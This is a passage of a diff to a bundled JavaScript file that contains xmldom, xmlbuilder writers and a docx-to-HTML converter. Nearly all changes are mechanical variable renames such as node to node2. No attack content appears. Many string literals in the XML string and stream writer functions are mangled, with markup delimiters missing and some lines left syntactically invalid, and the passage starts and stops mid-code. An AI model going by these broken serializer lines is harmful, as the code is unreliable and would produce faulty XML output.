node.ownerDocument = this; - node.tagName = node.nodeName = node.target = target; - node.nodeValue = node.data = data; - return node; + var node2 = new ProcessingInstruction(); + node2.ownerDocument = this; + node2.tagName = node2.nodeName = node2.target = target; + node2.nodeValue = node2.data = data; + return node2; }, createAttribute: function(name) { - var node = new Attr(); - node.ownerDocument = this; - node.name = name; - node.nodeName = name; - node.localName = name; - node.specified = true; - return node; + var node2 = new Attr(); + node2.ownerDocument = this; + node2.name = name; + node2.nodeName = name; + node2.localName = name; + node2.specified = true; + return node2; }, /** * Creates an EntityReference object, serialized as `&name;`. @@ -76474,46 +76474,46 @@ var require_dom = __commonJS({ if (!tagNamePattern.test(name)) { throw new DOMException(INVALID_CHARACTER_ERR, 'not a valid xml name "' + name + '"'); } - var node = new EntityReference(); - node.ownerDocument = this; - node.nodeName = name; - return node; + var node2 = new EntityReference(); + node2.ownerDocument = this; + node2.nodeName = name; + return node2; }, // Introduced in DOM Level 2: createElementNS: function(namespaceURI, qualifiedName) { - var node = new Element(); + var node2 = new Element(); var pl = qualifiedName.split(":"); - var attrs = node.attributes = new NamedNodeMap(); - node.childNodes = new NodeList(); - node.ownerDocument = this; - node.nodeName = qualifiedName; - node.tagName = qualifiedName; - node.namespaceURI = namespaceURI; + var attrs = node2.attributes = new NamedNodeMap(); + node2.childNodes = new NodeList(); + node2.ownerDocument = this; + node2.nodeName = qualifiedName; + node2.tagName = qualifiedName; + node2.namespaceURI = namespaceURI; if (pl.length == 2) { - node.prefix = pl[0]; - node.localName = pl[1]; + node2.prefix = pl[0]; + node2.localName = pl[1]; } else { - node.localName = qualifiedName; + node2.localName = qualifiedName; } - attrs._ownerElement = node; - return node; + attrs._ownerElement = node2; + return node2; }, // Introduced in DOM Level 2: createAttributeNS: function(namespaceURI, qualifiedName) { - var node = new Attr(); + var node2 = new Attr(); var pl = qualifiedName.split(":"); - node.ownerDocument = this; - node.nodeName = qualifiedName; - node.name = qualifiedName; - node.namespaceURI = namespaceURI; - node.specified = true; + node2.ownerDocument = this; + node2.nodeName = qualifiedName; + node2.name = qualifiedName; + node2.namespaceURI = namespaceURI; + node2.specified = true; if (pl.length == 2) { - node.prefix = pl[0]; - node.localName = pl[1]; + node2.prefix = pl[0]; + node2.localName = pl[1]; } else { - node.localName = qualifiedName; + node2.localName = qualifiedName; } - return node; + return node2; } }; _extends(Document, Node2); @@ -76581,9 +76581,9 @@ var require_dom = __commonJS({ getElementsByTagName: function(tagName) { return new LiveNodeList(this, function(base) { var ls = []; - _visitNode(base, function(node) { - if (node !== base && node.nodeType == ELEMENT_NODE && (tagName === "*" || node.tagName == tagName)) { - ls.push(node); + _visitNode(base, function(node2) { + if (node2 !== base && node2.nodeType == ELEMENT_NODE && (tagName === "*" || node2.tagName == tagName)) { + ls.push(node2); } }); return ls; @@ -76592,9 +76592,9 @@ var require_dom = __commonJS({ getElementsByTagNameNS: function(namespaceURI, localName) { return new LiveNodeList(this, function(base) { var ls = []; - _visitNode(base, function(node) { - if (node !== base && node.nodeType === ELEMENT_NODE && (namespaceURI === "*" || node.namespaceURI === namespaceURI) && (localName === "*" || node.localName == localName)) { - ls.push(node); + _visitNode(base, function(node2) { + if (node2 !== base && node2.nodeType === ELEMENT_NODE && (namespaceURI === "*" || node2.namespaceURI === namespaceURI) && (localName === "*" || node2.localName == localName)) { + ls.push(node2); } }); return ls; @@ -76698,8 +76698,8 @@ var require_dom = __commonJS({ _extends(ProcessingInstruction, Node2); function XMLSerializer() { } - XMLSerializer.prototype.serializeToString = function(node, isHtml, nodeFilter, options) { - return nodeSerializeToString.call(node, isHtml, nodeFilter, options); + XMLSerializer.prototype.serializeToString = function(node2, isHtml, nodeFilter, options) { + return nodeSerializeToString.call(node2, isHtml, nodeFilter, options); }; Node2.prototype.toString = nodeSerializeToString; function nodeSerializeToString(isHtml, nodeFilter, options) { @@ -76720,9 +76720,9 @@ var require_dom = __commonJS({ serializeToString(this, buf, isHtml, nodeFilter, visibleNamespaces, requireWellFormed); return buf.join(""); } - function needNamespaceDefine(node, isHTML, visibleNamespaces) { - var prefix = node.prefix || ""; - var uri = node.namespaceURI; + function needNamespaceDefine(node2, isHTML, visibleNamespaces) { + var prefix = node2.prefix || ""; + var uri = node2.namespaceURI; if (!uri) { return false; } @@ -76744,11 +76744,11 @@ var require_dom = __commonJS({ } buf.push(" ", qualifiedName, '="', value.replace(/[<>&"\t\n\r]/g, _xmlEncoder), '"'); } - function serializeToString(node, buf, isHTML, nodeFilter, visibleNamespaces, requireWellFormed) { + function serializeToString(node2, buf, isHTML, nodeFilter, visibleNamespaces, requireWellFormed) { if (!visibleNamespaces) { visibleNamespaces = []; } - walkDOM(node, { ns: visibleNamespaces, isHTML }, { + walkDOM(node2, { ns: visibleNamespaces, isHTML }, { enter: function(n, ctx) { var ns = ctx.ns; var html = ctx.isHTML; @@ -76947,9 +76947,9 @@ var require_dom = __commonJS({ } }); } - function importNode(doc, node, deep) { + function importNode(doc, node2, deep) { var destRoot; - walkDOM(node, null, { + walkDOM(node2, null, { enter: function(srcNode, destParent) { var destNode = srcNode.cloneNode(false); destNode.ownerDocument = doc; @@ -76965,9 +76965,9 @@ var require_dom = __commonJS({ }); return destRoot; } - function cloneNode(doc, node, deep) { + function cloneNode(doc, node2, deep) { var destRoot; - walkDOM(node, null, { + walkDOM(node2, null, { enter: function(srcNode, destParent) { var destNode = new srcNode.constructor(); for (var n in srcNode) { @@ -79819,8 +79819,8 @@ var require_dom_parser = __commonJS({ var NAMESPACE = conventions.NAMESPACE; var ParseError = sax.ParseError; var XMLReader = sax.XMLReader; - function normalizeLineEndings(input) { - return input.replace(/\r[\n\u0085]/g, "\n").replace(/[\r\u0085\u2028]/g, "\n"); + function normalizeLineEndings(input2) { + return input2.replace(/\r[\n\u0085]/g, "\n").replace(/[\r\u0085\u2028]/g, "\n"); } function DOMParser(options) { this.options = options || { locator: {} }; @@ -79885,9 +79885,9 @@ var require_dom_parser = __commonJS({ function DOMHandler() { this.cdata = false; } - function position(locator, node) { - node.lineNumber = locator.lineNumber; - node.columnNumber = locator.columnNumber; + function position(locator, node2) { + node2.lineNumber = locator.lineNumber; + node2.columnNumber = locator.columnNumber; } DOMHandler.prototype = { startDocument: function() { @@ -79981,14 +79981,14 @@ var require_dom_parser = __commonJS({ * @see org.xml.sax.ErrorHandler * @link http://www.saxproject.org/apidoc/org/xml/sax/ErrorHandler.html */ - warning: function(error51) { - console.warn("[xmldom warning] " + error51, _locator(this.locator)); + warning: function(error62) { + console.warn("[xmldom warning] " + error62, _locator(this.locator)); }, - error: function(error51) { - console.error("[xmldom error] " + error51, _locator(this.locator)); + error: function(error62) { + console.error("[xmldom error] " + error62, _locator(this.locator)); }, - fatalError: function(error51) { - throw new ParseError(error51, this.locator); + fatalError: function(error62) { + throw new ParseError(error62, this.locator); } }; function _locator(l2) { @@ -80011,11 +80011,11 @@ var require_dom_parser = __commonJS({ return null; }; }); - function appendElement(hander, node) { + function appendElement(hander, node2) { if (!hander.currentElement) { - hander.doc.appendChild(node); + hander.doc.appendChild(node2); } else { - hander.currentElement.appendChild(node); + hander.currentElement.appendChild(node2); } } exports2.__DOMHandler = DOMHandler; @@ -80040,17 +80040,17 @@ var require_xmldom = __commonJS({ var xmldom = require_lib5(); var dom = require_dom(); function parseFromString(string4) { - var error51 = null; + var error62 = null; var domParser = new xmldom.DOMParser({ errorHandler: function(level, message2) { - error51 = { level, message: message2 }; + error62 = { level, message: message2 }; } }); var document2 = domParser.parseFromString(string4); - if (error51 === null) { + if (error62 === null) { return document2; } else { - throw new Error(error51.level + ": " + error51.message); + throw new Error(error62.level + ": " + error62.message); } } exports2.parseFromString = parseFromString; @@ -80072,18 +80072,18 @@ var require_reader = __commonJS({ namespaceMap = namespaceMap || {}; try { var document2 = xmldom.parseFromString(xmlString, "text/xml"); - } catch (error51) { - return promises.reject(error51); + } catch (error62) { + return promises.reject(error62); } if (document2.documentElement.tagName === "parsererror") { return promises.resolve(new Error(document2.documentElement.textContent)); } - function convertNode(node) { - switch (node.nodeType) { + function convertNode(node2) { + switch (node2.nodeType) { case Node2.ELEMENT_NODE: - return convertElement(node); + return convertElement(node2); case Node2.TEXT_NODE: - return nodes.text(node.nodeValue); + return nodes.text(node2.nodeValue); } } function convertElement(element) { @@ -80101,18 +80101,18 @@ var require_reader = __commonJS({ }); return new Element(convertedName, convertedAttributes, convertedChildren); } - function convertName(node) { - if (node.namespaceURI) { - var mappedPrefix = namespaceMap[node.namespaceURI]; + function convertName(node2) { + if (node2.namespaceURI) { + var mappedPrefix = namespaceMap[node2.namespaceURI]; var prefix; if (mappedPrefix) { prefix = mappedPrefix + ":"; } else { - prefix = "{" + node.namespaceURI + "}"; + prefix = "{" + node2.namespaceURI + "}"; } - return prefix + node.localName; + return prefix + node2.localName; } else { - return node.localName; + return node2.localName; } } return promises.resolve(convertNode(document2.documentElement)); @@ -81204,26 +81204,26 @@ var require_XMLNode = __commonJS({ return this.parent; }; XMLNode2.prototype.root = function() { - var node; - node = this; - while (node) { - if (node.isDocument) { - return node.rootObject; - } else if (node.isRoot) { - return node; + var node2; + node2 = this; + while (node2) { + if (node2.isDocument) { + return node2.rootObject; + } else if (node2.isRoot) { + return node2; } else { - node = node.parent; + node2 = node2.parent; } } }; XMLNode2.prototype.document = function() { - var node; - node = this; - while (node) { - if (node.isDocument) { - return node; + var node2; + node2 = this; + while (node2) { + if (node2.isDocument) { + return node2; } else { - node = node.parent; + node2 = node2.parent; } } }; @@ -81627,40 +81627,40 @@ var require_XMLStringWriter = __commonJS({ XMLStringWriter2.prototype.attribute = function(att) { return " " + att.name + '="' + att.value + '"'; }; - XMLStringWriter2.prototype.cdata = function(node, level) { - return this.space(level) + "" + this.newline; + XMLStringWriter2.prototype.cdata = function(node2, level) { + return this.space(level) + "" + this.newline; }; - XMLStringWriter2.prototype.comment = function(node, level) { - return this.space(level) + "" + this.newline; + XMLStringWriter2.prototype.comment = function(node2, level) { + return this.space(level) + "" + this.newline; }; - XMLStringWriter2.prototype.declaration = function(node, level) { + XMLStringWriter2.prototype.declaration = function(node2, level) { var r; r = this.space(level); - r += '"; r += this.newline; return r; }; - XMLStringWriter2.prototype.docType = function(node, level) { + XMLStringWriter2.prototype.docType = function(node2, level) { var child, i, len, r, ref; level || (level = 0); r = this.space(level); - r += " 0) { + if (node2.children.length > 0) { r += " ["; r += this.newline; - ref = node.children; + ref = node2.children; for (i = 0, len = ref.length; i < len; i++) { child = ref[i]; r += function() { @@ -81690,7 +81690,7 @@ var require_XMLStringWriter = __commonJS({ r += this.newline; return r; }; - XMLStringWriter2.prototype.element = function(node, level) { + XMLStringWriter2.prototype.element = function(node2, level) { var att, child, i, j, len, len1, name, r, ref, ref1, ref2, space, textispresentwasset; level || (level = 0); textispresentwasset = false; @@ -81703,28 +81703,28 @@ var require_XMLStringWriter = __commonJS({ } space = this.space(level); r = ""; - r += space + "<" + node.name; - ref = node.attributes; + r += space + "<" + node2.name; + ref = node2.attributes; for (name in ref) { if (!hasProp.call(ref, name)) continue; att = ref[name]; r += this.attribute(att); } - if (node.children.length === 0 || node.children.every(function(e) { + if (node2.children.length === 0 || node2.children.every(function(e) { return e.value === ""; })) { if (this.allowEmpty) { - r += ">" + this.newline; + r += ">" + this.newline; } else { r += this.spacebeforeslash + "/>" + this.newline; } - } else if (this.pretty && node.children.length === 1 && node.children[0].value != null) { + } else if (this.pretty && node2.children.length === 1 && node2.children[0].value != null) { r += ">"; - r += node.children[0].value; - r += "" + this.newline; + r += node2.children[0].value; + r += "" + this.newline; } else { if (this.dontprettytextnodes) { - ref1 = node.children; + ref1 = node2.children; for (i = 0, len = ref1.length; i < len; i++) { child = ref1[i]; if (child.value != null) { @@ -81740,7 +81740,7 @@ var require_XMLStringWriter = __commonJS({ space = this.space(level); } r += ">" + this.newline; - ref2 = node.children; + ref2 = node2.children; for (j = 0, len1 = ref2.length; j < len1; j++) { child = ref2[j]; r += function() { @@ -81771,105 +81771,105 @@ var require_XMLStringWriter = __commonJS({ this.newline = this.newlinedefault; this.pretty = this.prettydefault; } - r += space + "" + this.newline; + r += space + "" + this.newline; } return r; }; - XMLStringWriter2.prototype.processingInstruction = function(node, level) { + XMLStringWriter2.prototype.processingInstruction = function(node2, level) { var r; - r = this.space(level) + "" + this.newline; return r; }; - XMLStringWriter2.prototype.raw = function(node, level) { - return this.space(level) + node.value + this.newline; + XMLStringWriter2.prototype.raw = function(node2, level) { + return this.space(level) + node2.value + this.newline; }; - XMLStringWriter2.prototype.text = function(node, level) { - return this.space(level) + node.value + this.newline; + XMLStringWriter2.prototype.text = function(node2, level) { + return this.space(level) + node2.value + this.newline; }; - XMLStringWriter2.prototype.dtdAttList = function(node, level) { + XMLStringWriter2.prototype.dtdAttList = function(node2, level) { var r; - r = this.space(level) + "" + this.newline; return r; }; - XMLStringWriter2.prototype.dtdElement = function(node, level) { - return this.space(level) + "" + this.newline; + XMLStringWriter2.prototype.dtdElement = function(node2, level) { + return this.space(level) + "" + this.newline; }; - XMLStringWriter2.prototype.dtdEntity = function(node, level) { + XMLStringWriter2.prototype.dtdEntity = function(node2, level) { var r; r = this.space(level) + "" + this.newline; return r; }; - XMLStringWriter2.prototype.dtdNotation = function(node, level) { + XMLStringWriter2.prototype.dtdNotation = function(node2, level) { var r; - r = this.space(level) + "" + this.newline; return r; }; - XMLStringWriter2.prototype.openNode = function(node, level) { + XMLStringWriter2.prototype.openNode = function(node2, level) { var att, name, r, ref; level || (level = 0); - if (node instanceof XMLElement) { - r = this.space(level) + "<" + node.name; - ref = node.attributes; + if (node2 instanceof XMLElement) { + r = this.space(level) + "<" + node2.name; + ref = node2.attributes; for (name in ref) { if (!hasProp.call(ref, name)) continue; att = ref[name]; r += this.attribute(att); } - r += (node.children ? ">" : "/>") + this.newline; + r += (node2.children ? ">" : "/>") + this.newline; return r; } else { - r = this.space(level) + "") + this.newline; + r += (node2.children ? " [" : ">") + this.newline; return r; } }; - XMLStringWriter2.prototype.closeNode = function(node, level) { + XMLStringWriter2.prototype.closeNode = function(node2, level) { level || (level = 0); switch (false) { - case !(node instanceof XMLElement): - return this.space(level) + "" + this.newline; - case !(node instanceof XMLDocType): + case !(node2 instanceof XMLElement): + return this.space(level) + "" + this.newline; + case !(node2 instanceof XMLDocType): return this.space(level) + "]>" + this.newline; } }; @@ -82038,35 +82038,35 @@ var require_XMLDocumentCB = __commonJS({ return this; }; XMLDocumentCB2.prototype.text = function(value) { - var node; + var node2; this.openCurrent(); - node = new XMLText(this, value); - this.onData(this.writer.text(node, this.currentLevel + 1), this.currentLevel + 1); + node2 = new XMLText(this, value); + this.onData(this.writer.text(node2, this.currentLevel + 1), this.currentLevel + 1); return this; }; XMLDocumentCB2.prototype.cdata = function(value) { - var node; + var node2; this.openCurrent(); - node = new XMLCData(this, value); - this.onData(this.writer.cdata(node, this.currentLevel + 1), this.currentLevel + 1); + node2 = new XMLCData(this, value); + this.onData(this.writer.cdata(node2, this.currentLevel + 1), this.currentLevel + 1); return this; }; XMLDocumentCB2.prototype.comment = function(value) { - var node; + var node2; this.openCurrent(); - node = new XMLComment(this, value); - this.onData(this.writer.comment(node, this.currentLevel + 1), this.currentLevel + 1); + node2 = new XMLComment(this, value); + this.onData(this.writer.comment(node2, this.currentLevel + 1), this.currentLevel + 1); return this; }; XMLDocumentCB2.prototype.raw = function(value) { - var node; + var node2; this.openCurrent(); - node = new XMLRaw(this, value); - this.onData(this.writer.raw(node, this.currentLevel + 1), this.currentLevel + 1); + node2 = new XMLRaw(this, value); + this.onData(this.writer.raw(node2, this.currentLevel + 1), this.currentLevel + 1); return this; }; XMLDocumentCB2.prototype.instruction = function(target, value) { - var i, insTarget, insValue, len, node; + var i, insTarget, insValue, len, node2; this.openCurrent(); if (target != null) { target = getValue(target); @@ -82089,19 +82089,19 @@ var require_XMLDocumentCB = __commonJS({ if (isFunction2(value)) { value = value.apply(); } - node = new XMLProcessingInstruction(this, target, value); - this.onData(this.writer.processingInstruction(node, this.currentLevel + 1), this.currentLevel + 1); + node2 = new XMLProcessingInstruction(this, target, value); + this.onData(this.writer.processingInstruction(node2, this.currentLevel + 1), this.currentLevel + 1); } return this; }; XMLDocumentCB2.prototype.declaration = function(version4, encoding, standalone) { - var node; + var node2; this.openCurrent(); if (this.documentStarted) { throw new Error("declaration() must be the first node."); } - node = new XMLDeclaration(this, version4, encoding, standalone); - this.onData(this.writer.declaration(node, this.currentLevel + 1), this.currentLevel + 1); + node2 = new XMLDeclaration(this, version4, encoding, standalone); + this.onData(this.writer.declaration(node2, this.currentLevel + 1), this.currentLevel + 1); return this; }; XMLDocumentCB2.prototype.doctype = function(root2, pubID, sysID) { @@ -82120,38 +82120,38 @@ var require_XMLDocumentCB = __commonJS({ return this; }; XMLDocumentCB2.prototype.dtdElement = function(name, value) { - var node; + var node2; this.openCurrent(); - node = new XMLDTDElement(this, name, value); - this.onData(this.writer.dtdElement(node, this.currentLevel + 1), this.currentLevel + 1); + node2 = new XMLDTDElement(this, name, value); + this.onData(this.writer.dtdElement(node2, this.currentLevel + 1), this.currentLevel + 1); return this; }; XMLDocumentCB2.prototype.attList = function(elementName, attributeName, attributeType, defaultValueType, defaultValue) { - var node; + var node2; this.openCurrent(); - node = new XMLDTDAttList(this, elementName, attributeName, attributeType, defaultValueType, defaultValue); - this.onData(this.writer.dtdAttList(node, this.currentLevel + 1), this.currentLevel + 1); + node2 = new XMLDTDAttList(this, elementName, attributeName, attributeType, defaultValueType, defaultValue); + this.onData(this.writer.dtdAttList(node2, this.currentLevel + 1), this.currentLevel + 1); return this; }; XMLDocumentCB2.prototype.entity = function(name, value) { - var node; + var node2; this.openCurrent(); - node = new XMLDTDEntity(this, false, name, value); - this.onData(this.writer.dtdEntity(node, this.currentLevel + 1), this.currentLevel + 1); + node2 = new XMLDTDEntity(this, false, name, value); + this.onData(this.writer.dtdEntity(node2, this.currentLevel + 1), this.currentLevel + 1); return this; }; XMLDocumentCB2.prototype.pEntity = function(name, value) { - var node; + var node2; this.openCurrent(); - node = new XMLDTDEntity(this, true, name, value); - this.onData(this.writer.dtdEntity(node, this.currentLevel + 1), this.currentLevel + 1); + node2 = new XMLDTDEntity(this, true, name, value); + this.onData(this.writer.dtdEntity(node2, this.currentLevel + 1), this.currentLevel + 1); return this; }; XMLDocumentCB2.prototype.notation = function(name, value) { - var node; + var node2; this.openCurrent(); - node = new XMLDTDNotation(this, name, value); - this.onData(this.writer.dtdNotation(node, this.currentLevel + 1), this.currentLevel + 1); + node2 = new XMLDTDNotation(this, name, value); + this.onData(this.writer.dtdNotation(node2, this.currentLevel + 1), this.currentLevel + 1); return this; }; XMLDocumentCB2.prototype.up = function() { @@ -82184,19 +82184,19 @@ var require_XMLDocumentCB = __commonJS({ return this.openNode(this.currentNode); } }; - XMLDocumentCB2.prototype.openNode = function(node) { - if (!node.isOpen) { - if (!this.root && this.currentLevel === 0 && node instanceof XMLElement) { - this.root = node; + XMLDocumentCB2.prototype.openNode = function(node2) { + if (!node2.isOpen) { + if (!this.root && this.currentLevel === 0 && node2 instanceof XMLElement) { + this.root = node2; } - this.onData(this.writer.openNode(node, this.currentLevel), this.currentLevel); - return node.isOpen = true; + this.onData(this.writer.openNode(node2, this.currentLevel), this.currentLevel); + return node2.isOpen = true; } }; - XMLDocumentCB2.prototype.closeNode = function(node) { - if (!node.isClosed) { - this.onData(this.writer.closeNode(node, this.currentLevel), this.currentLevel); - return node.isClosed = true; + XMLDocumentCB2.prototype.closeNode = function(node2) { + if (!node2.isClosed) { + this.onData(this.writer.closeNode(node2, this.currentLevel), this.currentLevel); + return node2.isClosed = true; } }; XMLDocumentCB2.prototype.onData = function(chunk2, level) { @@ -82361,38 +82361,38 @@ var require_XMLStreamWriter = __commonJS({ XMLStreamWriter2.prototype.attribute = function(att) { return this.stream.write(" " + att.name + '="' + att.value + '"'); }; - XMLStreamWriter2.prototype.cdata = function(node, level) { - return this.stream.write(this.space(level) + "" + this.endline(node)); + XMLStreamWriter2.prototype.cdata = function(node2, level) { + return this.stream.write(this.space(level) + "" + this.endline(node2)); }; - XMLStreamWriter2.prototype.comment = function(node, level) { - return this.stream.write(this.space(level) + "" + this.endline(node)); + XMLStreamWriter2.prototype.comment = function(node2, level) { + return this.stream.write(this.space(level) + "" + this.endline(node2)); }; - XMLStreamWriter2.prototype.declaration = function(node, level) { + XMLStreamWriter2.prototype.declaration = function(node2, level) { this.stream.write(this.space(level)); - this.stream.write('"); - return this.stream.write(this.endline(node)); + return this.stream.write(this.endline(node2)); }; - XMLStreamWriter2.prototype.docType = function(node, level) { + XMLStreamWriter2.prototype.docType = function(node2, level) { var child, i, len, ref; level || (level = 0); this.stream.write(this.space(level)); - this.stream.write(" 0) { + if (node2.children.length > 0) { this.stream.write(" ["); - this.stream.write(this.endline(node)); - ref = node.children; + this.stream.write(this.endline(node2)); + ref = node2.children; for (i = 0, len = ref.length; i < len; i++) { child = ref[i]; switch (false) { @@ -82424,34 +82424,34 @@ var require_XMLStreamWriter = __commonJS({ this.stream.write("]"); } this.stream.write(this.spacebeforeslash + ">"); - return this.stream.write(this.endline(node)); + return this.stream.write(this.endline(node2)); }; - XMLStreamWriter2.prototype.element = function(node, level) { + XMLStreamWriter2.prototype.element = function(node2, level) { var att, child, i, len, name, ref, ref1, space; level || (level = 0); space = this.space(level); - this.stream.write(space + "<" + node.name); - ref = node.attributes; + this.stream.write(space + "<" + node2.name); + ref = node2.attributes; for (name in ref) { if (!hasProp.call(ref, name)) continue; att = ref[name]; this.attribute(att); } - if (node.children.length === 0 || node.children.every(function(e) { + if (node2.children.length === 0 || node2.children.every(function(e) { return e.value === ""; })) { if (this.allowEmpty) { - this.stream.write(">"); + this.stream.write(">"); } else { this.stream.write(this.spacebeforeslash + "/>"); } - } else if (this.pretty && node.children.length === 1 && node.children[0].value != null) { + } else if (this.pretty && node2.children.length === 1 && node2.children[0].value != null) { this.stream.write(">"); - this.stream.write(node.children[0].value); - this.stream.write(""); + this.stream.write(node2.children[0].value); + this.stream.write(""); } else { this.stream.write(">" + this.newline); - ref1 = node.children; + ref1 = node2.children; for (i = 0, len = ref1.length; i < len; i++) { child = ref1[i]; switch (false) { @@ -82480,70 +82480,70 @@ var require_XMLStreamWriter = __commonJS({ throw new Error("Unknown XML node type: " + child.constructor.name); } } - this.stream.write(space + ""); + this.stream.write(space + ""); } - return this.stream.write(this.endline(node)); + return this.stream.write(this.endline(node2)); }; - XMLStreamWriter2.prototype.processingInstruction = function(node, level) { - this.stream.write(this.space(level) + "" + this.endline(node)); + return this.stream.write(this.spacebeforeslash + "?>" + this.endline(node2)); }; - XMLStreamWriter2.prototype.raw = function(node, level) { - return this.stream.write(this.space(level) + node.value + this.endline(node)); + XMLStreamWriter2.prototype.raw = function(node2, level) { + return this.stream.write(this.space(level) + node2.value + this.endline(node2)); }; - XMLStreamWriter2.prototype.text = function(node, level) { - return this.stream.write(this.space(level) + node.value + this.endline(node)); + XMLStreamWriter2.prototype.text = function(node2, level) { + return this.stream.write(this.space(level) + node2.value + this.endline(node2)); }; - XMLStreamWriter2.prototype.dtdAttList = function(node, level) { - this.stream.write(this.space(level) + "" + this.endline(node)); + return this.stream.write(this.spacebeforeslash + ">" + this.endline(node2)); }; - XMLStreamWriter2.prototype.dtdElement = function(node, level) { - this.stream.write(this.space(level) + "" + this.endline(node)); + XMLStreamWriter2.prototype.dtdElement = function(node2, level) { + this.stream.write(this.space(level) + "" + this.endline(node2)); }; - XMLStreamWriter2.prototype.dtdEntity = function(node, level) { + XMLStreamWriter2.prototype.dtdEntity = function(node2, level) { this.stream.write(this.space(level) + "" + this.endline(node)); + return this.stream.write(this.spacebeforeslash + ">" + this.endline(node2)); }; - XMLStreamWriter2.prototype.dtdNotation = function(node, level) { - this.stream.write(this.space(level) + "" + this.endline(node)); + XMLStreamWriter2.prototype.dtdNotation = function(node2, level) { + this.stream.write(this.space(level) + "" + this.endline(node2)); }; - XMLStreamWriter2.prototype.endline = function(node) { - if (!node.isLastRootNode) { + XMLStreamWriter2.prototype.endline = function(node2) { + if (!node2.isLastRootNode) { return this.newline; } else { return ""; @@ -82615,8 +82615,8 @@ var require_writer = __commonJS({ element: writeElement, text: writeTextNode }; - function writeNode(builder, node) { - return nodeWriters[node.type](builder, node); + function writeNode(builder, node2) { + return nodeWriters[node2.type](builder, node2); } function writeElement(builder, element) { var elementBuilder = builder.element(mapElementName(element.name), element.attributes); @@ -82650,8 +82650,8 @@ var require_writer = __commonJS({ } return writeDocument(root2); } - function writeTextNode(builder, node) { - builder.text(node.value); + function writeTextNode(builder, node2) { + builder.text(node2.value); } } }); @@ -82715,16 +82715,16 @@ var require_office_xml_reader = __commonJS({ function stripUtf8Bom(xmlString) { return xmlString.replace(/^\uFEFF/g, ""); } - function collapseAlternateContent(node) { - if (node.type === "element") { - if (node.name === "mc:AlternateContent") { - return node.firstOrEmpty("mc:Fallback").children; + function collapseAlternateContent(node2) { + if (node2.type === "element") { + if (node2.name === "mc:AlternateContent") { + return node2.firstOrEmpty("mc:Fallback").children; } else { - node.children = _3.flatten(node.children.map(collapseAlternateContent, true)); - return [node]; + node2.children = _3.flatten(node2.children.map(collapseAlternateContent, true)); + return [node2]; } } else { - return [node]; + return [node2]; } } } @@ -83850,9 +83850,9 @@ var require_dist6 = __commonJS({ if (codePoint2 <= 65535) { return String.fromCharCode(codePoint2); } else { - var highSurrogate = Math.floor((codePoint2 - 65536) / 1024) + 55296; + var highSurrogate2 = Math.floor((codePoint2 - 65536) / 1024) + 55296; var lowSurrogate = (codePoint2 - 65536) % 1024 + 56320; - return String.fromCharCode(highSurrogate, lowSurrogate); + return String.fromCharCode(highSurrogate2, lowSurrogate); } } } @@ -83904,11 +83904,11 @@ var require_transforms = __commonJS({ }); return descendants; } - function visitDescendants(element, visit) { + function visitDescendants(element, visit2) { if (element.children) { element.children.forEach(function(child) { - visitDescendants(child, visit); - visit(child); + visitDescendants(child, visit2); + visit2(child); }); } } @@ -84230,7 +84230,7 @@ var require_body_reader = __commonJS({ "w:sym": readSymbol, "w:hyperlink": function(element) { var relationshipId = element.attributes["r:id"]; - var anchor = element.attributes["w:anchor"]; + var anchor2 = element.attributes["w:anchor"]; return readXmlElements(element.children).map(function(children) { function create2(options2) { var targetFrame = element.attributes["w:tgtFrame"] || null; @@ -84241,12 +84241,12 @@ var require_body_reader = __commonJS({ } if (relationshipId) { var href = relationships.findTargetByRelationshipId(relationshipId); - if (anchor) { - href = uris.replaceFragment(href, anchor); + if (anchor2) { + href = uris.replaceFragment(href, anchor2); } return create2({ href }); - } else if (anchor) { - return create2({ anchor }); + } else if (anchor2) { + return create2({ anchor: anchor2 }); } else { return children; } @@ -85029,8 +85029,8 @@ var require_files = __commonJS({ var base = options.relativeToFile ? dirname2(options.relativeToFile) : null; function read(uri, encoding) { return resolveUri(uri).then(function(path) { - return readFile2(path, encoding).caught(function(error51) { - var message2 = "could not open external image: '" + uri + "' (document directory: '" + base + "')\n" + error51.message; + return readFile2(path, encoding).caught(function(error62) { + var message2 = "could not open external image: '" + uri + "' (document directory: '" + base + "')\n" + error62.message; return promises.reject(new Error(message2)); }); }); @@ -85094,12 +85094,12 @@ var require_docx_reader = __commonJS({ var notesReader = require_notes_reader(); var commentsReader = require_comments_reader(); var Files = require_files().Files; - function read(docxFile, input, options) { - input = input || {}; + function read(docxFile, input2, options) { + input2 = input2 || {}; options = options || {}; var files = new Files({ externalFileAccess: options.externalFileAccess, - relativeToFile: input.path + relativeToFile: input2.path }); return promises.props({ contentTypes: readContentTypesFromZipFile(docxFile), @@ -85391,8 +85391,8 @@ var require_ast = __commonJS({ "img": true, "input": true }; - function isVoidElement(node) { - return node.children.length === 0 && voidTagNames[node.tag.tagName]; + function isVoidElement(node2) { + return node2.children.length === 0 && voidTagNames[node2.tag.tagName]; } exports2.isVoidElement = isVoidElement; } @@ -85413,16 +85413,16 @@ var require_simplify2 = __commonJS({ }); return children; } - function collapseNode(node) { - return collapsers[node.type](node); + function collapseNode(node2) { + return collapsers[node2.type](node2); } var collapsers = { element: collapseElement, text: identity2, forceWrite: identity2 }; - function collapseElement(node) { - return ast.elementWithTag(node.tag, collapse(node.children)); + function collapseElement(node2) { + return ast.elementWithTag(node2.tag, collapse(node2.children)); } function identity2(value) { return value; @@ -85441,8 +85441,8 @@ var require_simplify2 = __commonJS({ } } function removeEmpty(nodes) { - return flatMap(nodes, function(node) { - return emptiers[node.type](node); + return flatMap(nodes, function(node2) { + return emptiers[node2.type](node2); }); } function flatMap(values3, func) { @@ -85453,8 +85453,8 @@ var require_simplify2 = __commonJS({ text: textEmptier, forceWrite: neverEmpty }; - function neverEmpty(node) { - return [node]; + function neverEmpty(node2) { + return [node2]; } function elementEmptier(element) { var children = removeEmpty(element.children); @@ -85464,11 +85464,11 @@ var require_simplify2 = __commonJS({ return [ast.elementWithTag(element.tag, children)]; } } - function textEmptier(node) { - if (node.value.length === 0) { + function textEmptier(node2) { + if (node2.value.length === 0) { return []; } else { - return [node]; + return [node2]; } } module2.exports = simplify; @@ -85486,12 +85486,12 @@ var require_html = __commonJS({ exports2.forceWrite = ast.forceWrite; exports2.simplify = require_simplify2(); function write(writer, nodes) { - nodes.forEach(function(node) { - writeNode(writer, node); + nodes.forEach(function(node2) { + writeNode(writer, node2); }); } - function writeNode(writer, node) { - toStrings[node.type](writer, node); + function writeNode(writer, node2) { + toStrings[node2.type](writer, node2); } var toStrings = { element: generateElementString, @@ -85499,17 +85499,17 @@ var require_html = __commonJS({ forceWrite: function() { } }; - function generateElementString(writer, node) { - if (ast.isVoidElement(node)) { - writer.selfClosing(node.tag.tagName, node.tag.attributes); + function 